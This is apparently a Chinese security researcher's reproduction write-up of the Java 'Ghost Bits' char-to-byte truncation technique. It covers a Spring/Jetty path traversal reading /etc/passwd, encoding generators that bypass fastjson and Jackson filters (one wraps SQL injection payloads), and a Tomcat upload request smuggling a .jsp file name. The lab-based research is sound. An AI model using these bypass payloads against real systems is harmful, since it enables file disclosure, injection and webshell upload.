Ghost bits复现分析
漏洞复现环境:
https://github.com/vulhub/vulhub/tree/master/spring/CVE-2025-41242
Black Hat Asia 2026议题PPT:
https://i.blackhat.com/Asia-26/Presentations/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf
原理
java中的char类型和byte类型的转换导致的漏洞,char类型是16位,byte是8位,当代码用(byte)ch、ch & 0xFF、baos.write(ch)、DataOutputStream#writeBytes()这类写法把char强转成byte时,高8位会被静默丢弃,只保留低8位。
以议题的例子来说明:⽘
1
2
|
汉字「爻」(U+2F58) 二进制是 00101111 00111010
强转byte后,高 8 位 0x2F 被丢弃,只剩低 8 位 0x3A → 'X'
|
所以只要在存在强转byte类型的地方,攻击者就可以通过构造低8位有意义,整体无意义的字符来bypass,导致很多高危漏洞复活
CVE-2025-41242
p神做的靶场,那就先复现一下这个spring+jetty的漏洞吧,这里顺便记录一下怎么用idea远程调试
先去docker里面把源码下下来,运行配置这里选择远程JVM调试就行了,这里注意本地和远程的源码一定要一样才能调试

直接在StringUntils这个类的uriDecode方法下断点,直接发payload就断下来了
1
|
/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/etc/passw%64
|

注意观察此时的变量,我们传入了/a/b/c这种格式的url,这里是分开解析,依次对a,b,c进行解码,这里的ghost bits漏洞存在于baos.write(ch)

注意看这里,ch是int类型的,这里实际上调用的是ByteArrayOutputStream#write(int)
关于这个write函数

这里并没有给出解释,但是官方文档写了https://docs.oracle.com/javase/8/docs/api/java/io/OutputStream.html#write-byte:A-

可以看到int类型转byte类型,丢弃了前面高位的24位,剩下低位的8位
以payload中的第一个字符为例
1
2
|
阮的二进制0000 0000 0000 0000 1001 0110 0010 1110
取低8位后变成0010 1110,也就是0x2E = '.'
|
然后上面还有要注意的点,最后的changed变量一定要为true,否则返回source,也就是不解析,所以一定要进一次if判断,也就是字符里面得有至少一个%,一定要有一个字符进行url编码,所以这里如果只传入阮严灵丰丰甲来是不会解析的,要变成%2e严灵丰丰甲来才能被解析成.%u002e
不过好在最后有对整个payload进行一次解析

然后解码完现在的url变为
1
|
/.%u002e/.%u002e/.%u002e/etc/passwd
|
然后会进到

跟进去看一下怎么校验的

当存在两个点的时候,例如../,把 canonical 里面的最后一级目录删掉(退回上一级),返回 false。如果已经退无可退(到了根目录还要往上退),就会返回 true(表示非法)。
接下来走到addPath这里

跟进


然后最后解码完变


就穿越出来了

fastjson
引用议题的图片:


这里介绍了两种bypass方法用来绕过,这里上面用@为例,所以我们直接跟进这段源码看看
\x4_ bypass
我们都知道fastjson有\x40这样的bypass,如
1
|
{"\x40type":"java.awt.Rectangle"}
|

这里其实就是定义一个16进制的gigits,从0-9a-fA-F用于后续的运算,值得注意的是这里数组长度不能超int(f)

当字符以x开头,也就是以hex解析的时候,先后获取x后的数字进行计算,如果不是hex字符这个值就为0,之前的\x40解析:
1
|
digits[4]*16+digits[0]=0x40
|
根据上面的分析,填入任何非hex的字符都行
1
2
|
digits[4]*16+digits[(int)'J']=0x40
digits[4]*16+digits[(int)'_']=0x40
|
测试代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import java.util.Random;
public class ghostTest {
private static final Random random = new Random();
public static void main(String[] args) {
String[] json = {
"{\"@type\":\"java.awt.Rectangle\"}",
"{\"\\x40type\":\"java.awt.Rectangle\"}",
"{\"\\x4" + getRandomNonHexChar() + "type\":\"java.awt.Rectangle\"}",
"{\"\\x4" + getRandomNonHexChar() + "type\":\"java.awt.Rectangle\"}",
"{\"\\x4" + getRandomNonHexChar() + "type\":\"java.awt.Rectangle\"}",
"{\"\\x4" + getRandomNonHexChar() + "type\":\"java.awt.Rectangle\"}",
};
for (String s : json) {
try{
System.out.println(s);
JSONObject obj = JSON.parseObject(s);
System.out.println(obj);
}catch (Exception e){
System.out.println(e);
}
}
}
private static char getRandomNonHexChar() {
while (true) {
char c = (char) (random.nextInt(102 - 32 + 1) + 32);//防止数组越界
boolean isHex = (c >= '0' && c <= '9') ||
(c >= 'a' && c <= 'f') ||
(c >= 'A' && c <= 'F');
boolean isJsonSpecial = (c == '"' || c == '\\');
if (!isHex && !isJsonSpecial) {
return c;
}
}
}
}
|

\u0040 bypass
fastjson还支持另外一种绕过payload
1
|
{"\u0040type":"java.awt.Rectangle"}
|

这里以unicode解析会进这里


这里判断字符类型选择不同实例解析,跟进CharacterData01

这里根据进制不同来解析,上面规定了16进制,所以不是16进制的字符返回-1,重点在于传进去的字符的char类型的,char在0-65535范围内有非常多的字符可以冒充hex字符。例如一些其他语言的字符(
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.TreeMap;
public class GhostBitsGenerator {
public static void main(String[] args) {
Map<Integer, List<Character>> hexMap = new TreeMap<>();
for (int i = 0; i < 16; i++) {
hexMap.put(i, new ArrayList<>());
}
// 遍历 Java char 的全部范围 (0 到 65535)
for (int i = 0; i <= Character.MAX_VALUE; i++) {
char c = (char) i;
// 使用 Java 原生的 digit 方法判断该字符在 16进制下是否合法
int hexValue = Character.digit(c, 16);
// 如果返回值不是 -1,说明 Java 认为这是一个合法的 16 进制字符!
if (hexValue != -1) {
hexMap.get(hexValue).add(c);
}
}
for (Integer key : hexMap.keySet()) {
System.out.println(hexMap.get(key));
}
}
}
|

然后bypass
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
package ghostBits;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import java.util.*;
public class ghostTest {
public static Map<Integer, List<Character>> hexMap = GhostBitsGenerator.getHexMap();
private static final Random random = new Random();
public static void main(String[] args) {
String[] payload = {
"{\"@type\":\"java.awt.Rectangle\"}",
"{\"@type\":\"java.awt.Rectangle\"}",
"{\"@type\":\"java.awt.Rectangle\"}"
};
for(String str : payload) {
String unicode = GhostBitsGenerator.encodeJsonToUnicode(str);
System.out.println(unicode);
String ghost = GhostBitsGenerator.replaceUnicodeHex(unicode, hexMap, random);
System.out.println(ghost);
JSONObject obj = JSON.parseObject(ghost);
System.out.println(obj);
}
}
}
|
然后工具类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
package ghostBits;
import java.util.*;
public class GhostBitsGenerator {
public static Map<Integer, List<Character>> getHexMap() {
Map<Integer, List<Character>> hexMap = new TreeMap<>();
for (int i = 0; i < 16; i++) {
hexMap.put(i, new ArrayList<>());
}
for (int i = 0; i <= Character.MAX_VALUE; i++) {
char c = (char) i;
int hexValue = Character.digit(c, 16);
if (hexValue != -1) {
hexMap.get(hexValue).add(c);
}
}
return hexMap;
}
public static String encodeJsonToUnicode(String str) {
StringBuilder sb = new StringBuilder();
for (char c : str.toCharArray()) {
if (c == '{' || c == '}' || c == '"' || c == ':' || c == ',') {
sb.append(c);
} else {
sb.append(String.format("\\u%04x", (int) c));
}
}
return sb.toString();
}
public static String replaceUnicodeHex(String unicodeJson, Map<Integer, List<Character>> map, Random random) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < unicodeJson.length(); i++) {
if (i + 5 < unicodeJson.length() && unicodeJson.startsWith("\\u", i)) {
sb.append("\\u");
for (int j = 0; j < 4; j++) {
char hexChar = unicodeJson.charAt(i + 2 + j);
int val = Character.digit(hexChar, 16);
List<Character> alternatives = map.get(val);
char replacement = alternatives.get(random.nextInt(alternatives.size()));
sb.append(replacement);
}
i += 5;
} else {
sb.append(unicodeJson.charAt(i));
}
}
return sb.toString();
}
}
|

jackson

本质是\u0040bypass

这里解析uincode字符,问题在于这个chartoHex方法


可以看到,如果ch是char类型,这里就是会丢失高位,只剩下低位,很标准的ghost bits
跟之前的实现类似,这次我们只用中文字符集替换
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
package ghostbitsBypass;
import java.util.*;
public class GhostBitsGenerator {
public static Map<Character, List<Character>> getChineseHexMap() {
Map<Character, List<Character>> chineseMap = new HashMap<>();
String hexChars = "0123456789abcdefABCDEF";
for (char c : hexChars.toCharArray()) {
chineseMap.put(c, new ArrayList<>());
}
for (int i = 0x4E00; i <= 0x9FA5; i++) {
char cjkChar = (char) i;
char lowByteChar = (char) (i & 0xFF);
if (chineseMap.containsKey(lowByteChar)) {
chineseMap.get(lowByteChar).add(cjkChar);
}
}
return chineseMap;
}
public static String encodeJsonToUnicode(String str) {
StringBuilder sb = new StringBuilder();
for (char c : str.toCharArray()) {
if (c == '{' || c == '}' || c == '"' || c == ':' || c == ',') {
sb.append(c);
} else {
sb.append(String.format("\\u%04x", (int) c));
}
}
return sb.toString();
}
public static String replaceUnicodeWithChinese(String unicodeJson, Map<Character, List<Character>> chineseMap, Random random) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < unicodeJson.length(); i++) {
if (i + 5 < unicodeJson.length() && unicodeJson.startsWith("\\u", i)) {
sb.append("\\u");
for (int j = 0; j < 4; j++) {
char hexChar = unicodeJson.charAt(i + 2 + j);
List<Character> alternatives = chineseMap.get(hexChar);
if (alternatives != null && !alternatives.isEmpty()) {
char replacement = alternatives.get(random.nextInt(alternatives.size()));
sb.append(replacement);
} else {
sb.append(hexChar);
}
}
i += 5;
} else {
sb.append(unicodeJson.charAt(i));
}
}
return sb.toString();
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
package ghostbitsBypass;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.util.*;
public class ghost {
public static Map<Character, List<Character>> chineseMap = GhostBitsGenerator.getChineseHexMap();
private static final Random random = new Random();
public static void main(String[] args) throws JsonProcessingException {
String[] payload = {
"{\"username\":\"admin' and 1='1 \"}",
"{\"username\":\"admin' and 1='2 \"}",
"{\"username\":\"1' union select 1,user(),3,4 -- \"}",
};
for(String json : payload){
json = GhostBitsGenerator.encodeJsonToUnicode(json);
json = GhostBitsGenerator.replaceUnicodeWithChinese(json, chineseMap, random);
System.out.println(json);
ObjectMapper mapper = new ObjectMapper();
Object obj = mapper.readValue(json,Object.class);
System.out.println(obj);
}
}
}
|

不过研究jackson本质是想利用这个打springboot的,但是jackson的本地解析走的是ReaderBasedJsonParser,也就满足ch是char类型,而springboot走的是UTF8StreamJsonParser,ch是byte类型就没法利用
这里询问ai说是要使springboot切换到jackson的ReaderBasedJsonParser解析才行,也就是换请求头中的Content-Type: application/json; charset=utf-16,因为UTF8StreamJsonParser顾名思义就是解析utf-8的,如果换成别的编码,就会回退到jackson解析,具体我没去实验(
becl

还是之前ByteArrayOutputStream的write的转换问题

不多说了,跟上面一样其实,就是把$$BCEL$$后的字节码变成
tomcat upload


这个也一样,原先的bypass是
1
2
3
4
5
6
7
8
9
|
POST /upload/img HTTP/1.1
Host: 127.0.0.1:9999
Content-Length: 185
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycCYhwj56XpogMIa0
------WebKitFormBoundarycCYhwj56XpogMIa0
Content-Disposition: form-data; name="file";filename*="UTF-8''1.jsp"
Content-Type: image/png
test
------WebKitFormBoundarycCYhwj56XpogMIa0--
|
原先的UTF-8''1.jsp还能进一步替换成
1
2
3
4
|
filename*="UTF-8''1.jsp"
filename*="UTF-8''1.%6asp"
filename*="UTF-8''1.%鸶繡sp"
filename*="UTF-8''1.汪癳絰"
|
URLDecoder

最熟悉的一集,此事在bottle ssti的bypass中亦有记载(

这个跟上面的那个fastjson几乎一模一样
小结
现在yakit也上插件了,可以随时随地构造
